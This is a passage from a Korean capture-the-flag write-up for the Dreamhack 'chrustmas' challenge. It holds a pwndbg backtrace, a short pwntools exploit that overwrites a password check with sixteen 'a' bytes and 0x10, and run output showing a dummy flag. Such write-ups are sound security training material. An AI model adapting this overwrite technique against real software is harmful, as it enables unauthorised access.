  0   0x55555555ee92 prob::main+770
   1   0x55555555d883 core::ops::function::FnOnce::call_once+3
   2   0x55555555cea6 std::sys_common::backtrace::__rust_begin_short_backtrace+6
   3   0x55555555d409 std::rt::lang_start::+9
   4   0x5555555763ab std::rt::lang_start_internal+1051
   5   0x5555555763ab std::rt::lang_start_internal+1051
   6   0x5555555763ab std::rt::lang_start_internal+1051
   7   0x5555555763ab std::rt::lang_start_internal+1051
───────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> 

rax 레지스터의 값을 보면 다행이도 하위 1바이트를 제외하고 rcx와 동일한 값을 가지고 있다. 따라서 16개의 a와 0x10을 바이트로 전송하면 플레그 획득에 성공한다. 공격 코드와 결과는 다음과 같다.

from pwn import *
context.update(arch='amd64', os='linux')

p = process("./prob")

payload = b"\x61"*16
#payload += b"\x10\xea\x55\x55"
payload += b"\x10"


p.sendlineafter(b"Password >> ", payload)


print(p.recvall())
root@7cb73a3db36b:/home/dreamhack/chrustmas/deploy# python3 exp.py 
[+] Starting local process './prob': pid 173
[+] Receiving all data: Done (145B)
[*] Process './prob' stopped with exit code 0 (pid 173)
b"[97, 97, 97, 97, 97, 97, 97, 97, 97, 97, 97, 97, 97, 97, 97, 97]\nCongratulations! I hope you've got a couple Christmas!!!\nflag: DH{sample_flag}\n\n"
root@7cb73a3db36b:/home/dreamhack/chrustmas/deploy#

플래그는 더미이며 실 문제 서버에 적용하면 플레그를 획득할 수 있다.